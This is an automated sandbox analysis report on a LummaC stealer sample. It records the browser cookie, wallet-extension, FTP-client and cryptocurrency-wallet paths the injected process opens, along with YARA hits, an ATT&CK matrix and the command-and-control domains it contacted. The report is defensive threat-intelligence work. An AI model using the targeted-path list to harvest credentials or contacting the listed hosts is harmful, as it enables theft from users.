Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior

Source: Yara match	File source: 00000004.00000003.2085443565.00000000031CD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2085504854.000000000316F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2085718854.000000000316F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: BitLockerToGo.exe PID: 7764, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: BitLockerToGo.exe PID: 7764, type: MEMORYSTR
Source: Yara match	File source: 4.2.BitLockerToGo.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.BitLockerToGo.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.2168519248.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1966405613.00000000011B7000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	311 Process Injection	11 Virtualization/Sandbox Evasion	2 OS Credential Dumping	131 Security Software Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	311 Process Injection	LSASS Memory	11 Virtualization/Sandbox Evasion	Remote Desktop Protocol	41 Data from Local System	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Deobfuscate/Decode Files or Information	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	113 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	3 Obfuscated Files or Information	NTDS	1 File and Directory Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	22 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
txUcQFc0aJ.exe	47%	ReversingLabs	Win32.Trojan.LummaStealer
txUcQFc0aJ.exe	36%	Virustotal		Browse

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://bithithol.click/api	0%	Avira URL Cloud	safe
https://bithithol.click/vox.V	0%	Avira URL Cloud	safe
https://bithithol.click:443/api8	0%	Avira URL Cloud	safe
https://bithithol.click:443/api	0%	Avira URL Cloud	safe
https://bithithol.click/&	0%	Avira URL Cloud	safe
https://bithithol.click:443/apiV%	0%	Avira URL Cloud	safe
https://bithithol.click/	0%	Avira URL Cloud	safe
https://bithithol.click/apivI	0%	Avira URL Cloud	safe
bithithol.click	0%	Avira URL Cloud	safe
https://bithithol.click/s	0%	Avira URL Cloud	safe
https://bithithol.click:443/apin.txtPK	0%	Avira URL Cloud	safe
https://bithithol.click/pi	0%	Avira URL Cloud	safe
https://bithithol.click:443/apii%.2	0%	Avira URL Cloud	safe
https://bithithol.click/X	0%	Avira URL Cloud	safe
https://bithithol.click/esZ	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bithithol.click	172.67.151.61	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
necklacebudi.lat	false		high
https://bithithol.click/api	true	Avira URL Cloud: safe	unknown
aspecteirs.lat	false		high
sustainskelet.lat	false		high
crosshuaht.lat	false		high
bithithol.click	true	Avira URL Cloud: safe	unknown
rapeflowwj.lat	false		high
energyaffai.lat	false		high
grannyejh.lat	false		high
discokeyus.lat	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	BitLockerToGo.exe, 00000004.00000003.2011726292.000000000559D000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000003.2012126859.000000000559B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	BitLockerToGo.exe, 00000004.00000003.2011726292.000000000559D000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000003.2012126859.000000000559B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#	txUcQFc0aJ.exe	false		high
http://ocsp.sectigo.com0	txUcQFc0aJ.exe	false		high
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	BitLockerToGo.exe, 00000004.00000003.2061517682.0000000005560000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bithithol.click/vox.V	BitLockerToGo.exe, 00000004.00000003.2147329118.0000000003153000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	BitLockerToGo.exe, 00000004.00000003.2011726292.000000000559D000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000003.2012126859.000000000559B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	BitLockerToGo.exe, 00000004.00000003.2038386796.00000000055A9000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000003.2012812451.00000000055A9000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000003.2037952407.00000000055A9000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000003.2012743859.00000000055B0000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000003.2038099821.00000000055A9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bithithol.click/&	BitLockerToGo.exe, 00000004.00000003.2010489545.000000000318B000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000003.2010310791.000000000316F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bithithol.click:443/apiV%	BitLockerToGo.exe, 00000004.00000003.2086239417.0000000003153000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000003.2168134842.0000000003153000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000003.2085504854.0000000003153000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000003.2147329118.0000000003153000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000003.2106992167.0000000003153000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000002.2168821170.0000000003153000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.sectigo.com/SectigoPublicTimeStampingRootR46.crl0	txUcQFc0aJ.exe	false		high
https://bithithol.click:443/api8	BitLockerToGo.exe, 00000004.00000003.2168134842.0000000003153000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000003.2147329118.0000000003153000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000003.2106992167.0000000003153000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000002.2168821170.0000000003153000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	BitLockerToGo.exe, 00000004.00000003.2061517682.0000000005560000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bithithol.click:443/api	BitLockerToGo.exe, 00000004.00000003.2086239417.0000000003153000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000003.2168134842.0000000003153000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000003.2085504854.0000000003153000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000003.2147329118.0000000003153000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000003.2106992167.0000000003153000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000002.2168821170.0000000003153000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://x1.c.lencr.org/0	BitLockerToGo.exe, 00000004.00000003.2060359300.0000000005591000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	BitLockerToGo.exe, 00000004.00000003.2060359300.0000000005591000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	BitLockerToGo.exe, 00000004.00000003.2012812451.0000000005584000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	BitLockerToGo.exe, 00000004.00000003.2011726292.000000000559D000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000003.2012126859.000000000559B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.all	BitLockerToGo.exe, 00000004.00000003.2061173145.000000000567C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	BitLockerToGo.exe, 00000004.00000003.2061517682.0000000005560000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#	txUcQFc0aJ.exe	false		high
https://bithithol.click/	BitLockerToGo.exe, 00000004.00000003.2010310791.000000000316F000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000003.2060017160.000000000555E000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000003.2038353709.0000000005569000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bithithol.click/apivI	BitLockerToGo.exe, 00000004.00000003.2168438145.00000000031E2000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000003.2124087952.00000000031ED000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000002.2169039111.00000000031E3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000003.2167730722.00000000031DB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://sectigo.com/CPS0	txUcQFc0aJ.exe	false		high
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	BitLockerToGo.exe, 00000004.00000003.2061517682.0000000005560000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	BitLockerToGo.exe, 00000004.00000003.2011726292.000000000559D000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000003.2012126859.000000000559B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bithithol.click/s	BitLockerToGo.exe, 00000004.00000003.2168134842.0000000003153000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000003.2147329118.0000000003153000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000002.2168821170.0000000003153000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	BitLockerToGo.exe, 00000004.00000003.2011726292.000000000559D000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000003.2012126859.000000000559B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	BitLockerToGo.exe, 00000004.00000003.2060359300.0000000005591000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	BitLockerToGo.exe, 00000004.00000003.2061517682.0000000005560000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	BitLockerToGo.exe, 00000004.00000003.2060359300.0000000005591000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	BitLockerToGo.exe, 00000004.00000003.2038386796.00000000055A9000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000003.2012812451.00000000055A9000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000003.2037952407.00000000055A9000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000003.2012743859.00000000055B0000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000003.2038099821.00000000055A9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bithithol.click:443/apin.txtPK	BitLockerToGo.exe, 00000004.00000003.2086239417.0000000003153000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000003.2168134842.0000000003153000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000003.2085504854.0000000003153000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000003.2147329118.0000000003153000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000003.2106992167.0000000003153000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000002.2168821170.0000000003153000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	BitLockerToGo.exe, 00000004.00000003.2011726292.000000000559D000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000003.2012126859.000000000559B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bithithol.click/pi	BitLockerToGo.exe, 00000004.00000003.2168134842.0000000003153000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000003.2106992167.0000000003153000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000002.2168821170.0000000003153000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	BitLockerToGo.exe, 00000004.00000003.2061173145.000000000567C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	BitLockerToGo.exe, 00000004.00000003.2011726292.000000000559D000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000003.2012126859.000000000559B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	BitLockerToGo.exe, 00000004.00000003.2061517682.0000000005560000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z	txUcQFc0aJ.exe	false		high
https://support.microsof	BitLockerToGo.exe, 00000004.00000003.2012743859.00000000055B2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bithithol.click/X	BitLockerToGo.exe, 00000004.00000003.1988263434.0000000003177000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000003.2038081562.0000000005567000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000003.2038024938.000000000555E000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crt.rootca1.amazontrust.com/rootca1.cer0?	BitLockerToGo.exe, 00000004.00000003.2060359300.0000000005591000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bithithol.click:443/apii%.2	BitLockerToGo.exe, 00000004.00000003.2010422204.0000000003153000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	BitLockerToGo.exe, 00000004.00000003.2012812451.0000000005584000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bithithol.click/esZ	BitLockerToGo.exe, 00000004.00000003.2106992167.0000000003153000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	BitLockerToGo.exe, 00000004.00000003.2011726292.000000000559D000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000004.00000003.2012126859.000000000559B000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
172.67.151.61	bithithol.click	United States		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1580259
Start date and time:	2024-12-24 08:15:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 33s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
